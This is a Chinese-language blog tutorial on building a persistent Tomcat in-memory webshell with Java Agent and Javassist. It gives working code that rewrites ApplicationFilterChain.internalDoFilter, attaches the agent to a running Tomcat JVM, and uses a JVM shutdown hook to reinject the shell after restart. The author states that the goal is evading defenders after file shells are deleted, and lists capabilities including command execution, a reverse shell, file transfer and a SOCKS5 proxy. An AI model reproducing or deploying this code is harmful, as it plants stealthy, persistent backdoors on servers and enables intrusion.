Tomcat内存马
背景
在渗透过程中,经常会碰到文件Shell被防守方删除,所以需要将shell写到内存当中,让防守方难以检测。
原理
常见的Tomcat内存马有:通过反序列化+reflect(反射)
对Tomcat中internalDoFilter类进行方法修改,通过Java Agent
在服务器端上传两个Jar对Tomcat中internalDoFilter类进行方法修改等。尽管应用场景条件不同,但本质上内存马都是对在内存上运行的特定类的方法动态修改,所以一般重启后就会失效。
在这里主要讲一下基于Java Agent
+Javassist
的内存马,反序列化的内存马还在复现过程中。
技术
动态字节码技术
Java代码都是要被编译成字节码后才能放到JVM里执行的,字节码文件(.class)就是普通的二进制文件,它是通过Java编译器生成的。而只要是文件就能被改变,如果用特定的规则解析了原有的字节码文件,对它进行修改或者干脆重新定义,就可以实现改变代码行为了。动态字节码优势在于Java字节码生成之后,对其进行修改,增强其功能,这种方式相当于对应用程序的二进制文件进行修改。
Java生态里有很多可以动态处理字节码的技术,比较流行的有两个:ASM和Javassist。
- ASM:直接操作字节码指令(比如openRASP用的就是这个)
- Javassist:提供高级API,虽然效率低了但是无需掌握字节码指令的知识。(在这里使用这个)
Java Agent
通过Java Instrumentation可以构建一个
独立于应用程序的代理程序(Agent),用来检测和协助运行在JVM上的程序。
Java Agent提供两种方式:premain和agentmain
- premain:启动前带参数的前置代理
java -javaagent:jar 文件的位置 [= 传入 premain 的参数 ]
- agentmain:运行时附着到JVM实现动态代理
为了方便,用agentmain的时候要用到两个jar。
agent.jar(进行动态字节码修改的核心包),inject.jar(用来将agent.jar附着到相应的JVM)
java -jar inject.jar <args>
//在inject.jar中指定了读取agent.jar。
实现
工程结构
我这里创了两个工程:reAgent和reInject
- reAgent
- src.main
- java
- net.sorry.agent
- redefine(
Servlet的一些重写配合一句话食用
)- Myrequest.java
- ······
- Evaluate.java(
JSP一句话
) - Proxy.java(
内嵌reGeorg实现socks5代理转发
) - reAgent.java(
agentmain具体方法和一些初始化功能函数
) - reTransformer.java(
用Javassist进行类的修改与重载
) - Shell.java(
主要功能函数,命令执行等
)
- redefine(
- net.sorry.agent
- resources
- lib(
依赖
) - META-INF(
MANIFEST.MF中对Java Agent的入口及功能指定
) - other(
Windows下删除被占用的agent.jar程序
) - source.txt(
插入的代码
)
- lib(
- java
- pom.xml(maven配置)
- src.main
- reInject
- src.main
- java
- net.sorry.attach
- reAttach.java(
实现将reAgent.jar attach到Tomcat的JVM上
)
- reAttach.java(
- net.sorry.attach
- java
- src.main
核心实现过程
确定要重写的关键类
想要实现访问Web服务器上的任意一个url(静态、JSP、原生servlet、struts action),甚至是否存在。只要请求递给Tomcat,Tomcat就能执行指令。在rebeyond的memshell中,以及其他师傅们大多都是利用的org.apache.cataline.core.ApplicationFilterChain
类中的internalDoFilter
方法,原因就在于每一个url匹配模式对应于一个ApplicationFilterChain
对象,而我们想要植入的shell又肯定要搭配Request和Response食用。
{%note light%}
ApplicationFilterChain:用来处理特定的请求的过滤器集合(链),当这一条链做完的时候,doFilter()就会执行此servlet的service()方法跳转到它本身。
{%endnote%}
ApplicationFilterChain.java
/**
* 调用职责链上的下一个过滤器,传递特定的请求和响应。如果到结束的地方了
* 则调用这个servlet本身的service()函数
* Invoke the next filter in this chain, passing the specified request
* and response. If there are no more filters in this chain, invoke
* the <code>service()</code> method of the servlet itself.
*
* @param request The servlet request we are processing
* @param response The servlet response we are creating
*
* @exception IOException if an input/output error occurs
* @exception ServletException if a servlet exception occurs
*/
@Override
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
@Override
public Void run()
throws ServletException, IOException {
internalDoFilter(req,res);//链内部的循环遍历
return null;
}
}
);
} catch( PrivilegedActionException pe) {
Exception e = pe.getException();
if (e instanceof ServletException)
throw (ServletException) e;
else if (e instanceof IOException)
throw (IOException) e;
else if (e instanceof RuntimeException)
throw (RuntimeException) e;
else
throw new ServletException(e.getMessage(), e);
}
} else {
internalDoFilter(request,response);
}
}
在这里将会用到Javassist的ctmethod.insertBefore()方法将我们要插入的代码插到这段的最前面。正是因为这个方法的参数
,被调用的条件
比较适合插桩,所以才选择了它。
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
Filter filter = null;
try {
filter = filterConfig.getFilter();
support.fireInstanceEvent(InstanceEvent.BEFORE_FILTER_EVENT,
filter, request, response);
if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
Boolean.FALSE);
}
reAgent.jar的实现
将对类中方法的遍历寻找,类的启动重写加载,以及一些的常量和入口类的初始化写到reAgent.java
中。
reAgent.java(部分代码)
public class reAgent {
public static String className = "org.apache.catalina.core.ApplicationFilterChain";//类名
public static byte[] injectFileBytes = new byte[] {};//reInject.jar的字节码
public static byte[] agentFileBytes = new byte[]{};//reAgent.jar的字节码
public static String currentPath;//当前路径,用与后面的写文件,删文件等
public static String password = "re";//
public static void agentmain(String agentArgs, Instrumentation inst){
inst.addTransformer(new reTransformer(), true);//确定可以重编译
if(agentArgs.indexOf("^") >= 0){
//分离从reInject.jar中传来的参数
currentPath = agentArgs.split("\\^")[0];
password = agentArgs.split("\\^")[1];
}else {
currentPath = agentArgs;
}
System.out.println("Agent Main Done");
Class[] loadedClasses = inst.getAllLoadedClasses();//获取正在运行的所有类
for(Class c : loadedClasses){
if(c.getName().equals(className)){
try{
System.out.println("[+]Message:Found Target Class: "+c.getName());
inst.retransformClasses(c);//启动类的重写加载
}catch (Exception e){
e.printStackTrace();
}
}
}
try{
initLoad();//初始化访问
readInjectFile(currentPath);//读reInject.jar
readAgentFile(currentPath);//读reAgent.jar
//clear(reAgent.currentPath);//删除本地reInject.jar和reAgent.jar
}catch (Exception e){
//为了隐蔽不打印
}
persist();//重启前将jar写入temp目录
}
······
}
将对类的字节码具体操作写在reTransformer.java
中,此类继承自Transformer。属于Javassist
reTransformer.java
//继承重写
public class reTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader classLoader, String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException {
//org/apache/catalina/core/ApplicationFilterChain
if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) {
try {
System.out.println("[+]Message:Transformering Class: "+s);
ClassPool cp = ClassPool.getDefault();//返回默认ClassPool是单例模式
if(aClass !=null){
ClassClassPath classPath = new ClassClassPath(aClass);//重定义类
cp.insertClassPath(classPath);//载入重定义类
}
CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod m= cc.getDeclaredMethod("internalDoFilter");//获取指定方法
System.out.println("[+]Message:Found Method " + m.getName());
m.addLocalVariable("elapsedTime", CtClass.longType);//程序执行时间
m.insertBefore("{" + readSource() + "}");//在方法起始位置插入代码
//m.insertBefore(readSource());
byte[] byteCode = cc.toBytecode();
cc.detach();//释放内存
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
System.out.println("error::::" + ex.getMessage());
}
}
return null;
}
//读payload
public String readSource() {
StringBuilder source = new StringBuilder();
InputStream is = reTransformer.class.getClassLoader().getResourceAsStream("source.txt");
InputStreamReader isr = new InputStreamReader(is);
String line = null;
try{
System.out.println("[+]The payload is:");
BufferedReader br = new BufferedReader(isr);
while((line=br.readLine()) != null){
source.append(line);
System.out.println(line);
}
}catch (Exception e){
e.printStackTrace();
}
return source.toString();
}
}
reInject.jar的实现
Java agent可以在JVM启动后再加载,是通过Attach API实现的。Attach API不仅能够实现动态加载agent,也可以发送其他指令,例如jstack打印线程栈、jps列出Java进程、jmap做内存dump等功能。Attach API是由Sun公司提供的拓展API。
在reAttach.java
中,使用Attach API用来向Tomcat的JVM附着reAgent.jar。
reAttach.java
public class reAttach {
public static void main(String[] args) throws Exception{
if(args.length !=1){
System.out.println("Usage:java -jar reInject.jar password");
}else{
VirtualMachine vm =null;//创建一个JVM对象
List<VirtualMachineDescriptor> vmList = null;//关于JVM描述的List表
//获取当前参数和路径
String password = args[0];
String currentPath = reAttach.class.getProtectionDomain().getCodeSource().getLocation().getPath();
//System.out.println("oldforcurrentPath:"+currentPath);
currentPath = currentPath.substring(0,currentPath.lastIndexOf("/")+1);
currentPath = java.net.URLDecoder.decode(currentPath, "utf-8");//解决空格或中文
//System.out.println("newcurrentPath:"+currentPath);
String agentFile = currentPath + "reAgent.jar";
//System.out.println("agentFile:"+agentFile);
agentFile = new File(agentFile).getCanonicalPath();
String agentArgs = currentPath;
if(!password.equals("")||password != null){
agentArgs = agentArgs + "^" + password;
}
while(true){
while(true){
try{
vmList = VirtualMachine.list();
if(vmList.size() > 0){
Iterator var8 = vmList.iterator();
while(var8.hasNext()){
VirtualMachineDescriptor vmd =(VirtualMachineDescriptor)var8.next();
if(vmd.displayName().indexOf("catalina") >= 0){
System.out.println("[+]JVM's name is: "+vmd.displayName());
vm = VirtualMachine.attach(vmd);//通过VirtualMachineDescriptor附着
//vm = VirtualMachine.attach("7128");//通过JVM的pid附着
System.out.println("[+]OK.i find a jvm.");
Thread.sleep(1000L);
System.out.println("[+]OK.now the path of Agent JAR is: "+agentFile);
System.out.println("[+]OK.now the agentArgs is: "+agentArgs);
if(vm != null){
vm.loadAgent(agentFile,agentArgs);//指定reAgent.jar包的位置,发送给Tomcat的JVM进程。
System.out.println("[+]shell is injected.");
vm.detach();//注入完后卸载
return;
}
}
}
Thread.sleep(3000);
}
}catch (Exception e){
e.printStackTrace();
}
}
}
}
//VirtualMachine vm = VirtualMachine.attach("7128");
//vm.loadAgent("E:\\reAgent\\target\\sorry-1.0-SNAPSHOT-jar-with-dependencies.jar");
}
}
MANIFEST.MF
Manifest-Version: 1.0
Agent-Class: net.sorry.agent.reAgent //代理类
Can-Redefine-Classes: true //是否能够被重定义
Can-Retransform-Classes: true //是否能替换,注意下面有个空行
Shell功能类
- 命令执行
- 反弹shell
- 远程下载文件
- 文件操作
- 下载文件
- 上传文件
- sockt5代理转发
- JSP一句话
功能全在Shell.java
中。
复活技术
通过设置JVM的关闭钩子ShutdownHook来达到这个目的,ShutdownHook是JDK提供的一个用来在JVM关闭时清理现场的机制,这个钩子可以在以下场景中被JVM调用:
- 程序正常退出
- 使用System.exit()退出
- 用户使用Ctrl+C出发的中断导致的退出
- 用户注销或系统关机
- outofMemory导致的退出
- kill pid命令导致的退出
JVM关闭前,会通过调用writeFiles
把reInject.jar
和reAgent.jar
写道磁盘上(Tomcat的临时目录),然后调用startInject
,startInject
通过Runtime.exec
启动java -jar inject.jar
//重启前将jar写入临时文件夹
public static void persist() {
try {
Thread t = new Thread() {
public void run() {
try {
writeFiles("reInject.jar", injectFileBytes);
writeFiles("reAgent.jar", agentFileBytes);
startInject();
} catch (Exception e) {
}
}
};
t.setName("shutdown Thread");
Runtime.getRuntime().addShutdownHook(t);
} catch (Throwable t) {
}
}
流程梳理
- 创建一个Instrumentation实例,重写的
premain
或agentmain
方法,达到类的重载和初始化定义。 - 重写Transformer,找到目标类的目标方法,利用javassist进行代码插桩。(调用代码最好写文本中,功能代码最好就放在Agent包里)
- 利用Attach API将Agent附着到目标JVM上,实现payload动态注入。
- 利用Tomcat的shutdownhook和文件读写,实现马的删除保存和启动运行
记坑
javassit.jar包版本问题
使用IDEA+Maven重构的工程,代码都写好编译通过之后。在将reAgent.jar附着到JVM上的时候。有两个报错,网上资料太少,故在此记录一下。
Tomcat报错
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:606)
at sun.instrument.InstrumentationImpl.loadClassAndStartAgent(InstrumentationImpl.java:382)
at sun.instrument.InstrumentationImpl.loadClassAndCallPremain(InstrumentationImpl.java:397)
Caused by: java.lang.VerifyError
at sun.instrument.InstrumentationImpl.retransformClasses0(Native Method)
at sun.instrument.InstrumentationImpl.retransformClasses(InstrumentationImpl.java:144)
at org.wso2.das.javaagent.instrumentation.Agent.agentmain(reAgent.java:57)
... 6 more
reInject.jar 报错
G:\>java -jar reInject.jar re
[+]OK.i find a jvm: org.apache.catalina.startup.Bootstrap start
[+]Now args are: G:\reAgent.jar,/G:/^re
com.sun.tools.attach.AgentInitializationException: Agent JAR loaded but agent failed to initialize
at sun.tools.attach.HotSpotVirtualMachine.loadAgent(HotSpotVirtualMachine.java:121)
at AttachAgent.main(AttachAgent.java:43)
我一开始在Maven添加的javassist依赖是3.9版本,编译都通过了。但是Agent都是附着不上JVM。报错也是显示Agent JAR loaded but agent failed
,没有更详细的信息。而后阅读JVM的附着源码后,觉得是版本太高和jre不搭,换了3.22版本后能够附着。
具体原因是:Javassist能够编译通过,但是JVM那边不认,所以有冲突。
在不同路径下执行jar
我一开始是在G盘根目录,正常运行的。但是放到带有空格或中文的路径下运行会提示找不到Agent JAR
。解决方案在reAttach.java
中添加:
currentPath = java.net.URLDecoder.decode(currentPath, "utf-8");//解决空格或中文
Tomcat的Djava.io.tmpdir设置问题
Windwos下,如果是通过startup.bat启动的Tomcat就没有问题,如果是通过窗口程序启动的。则需要添加参数-
复活技术的权限坑
Win10权限有问题,Windows Server和linux都测试过没问题了。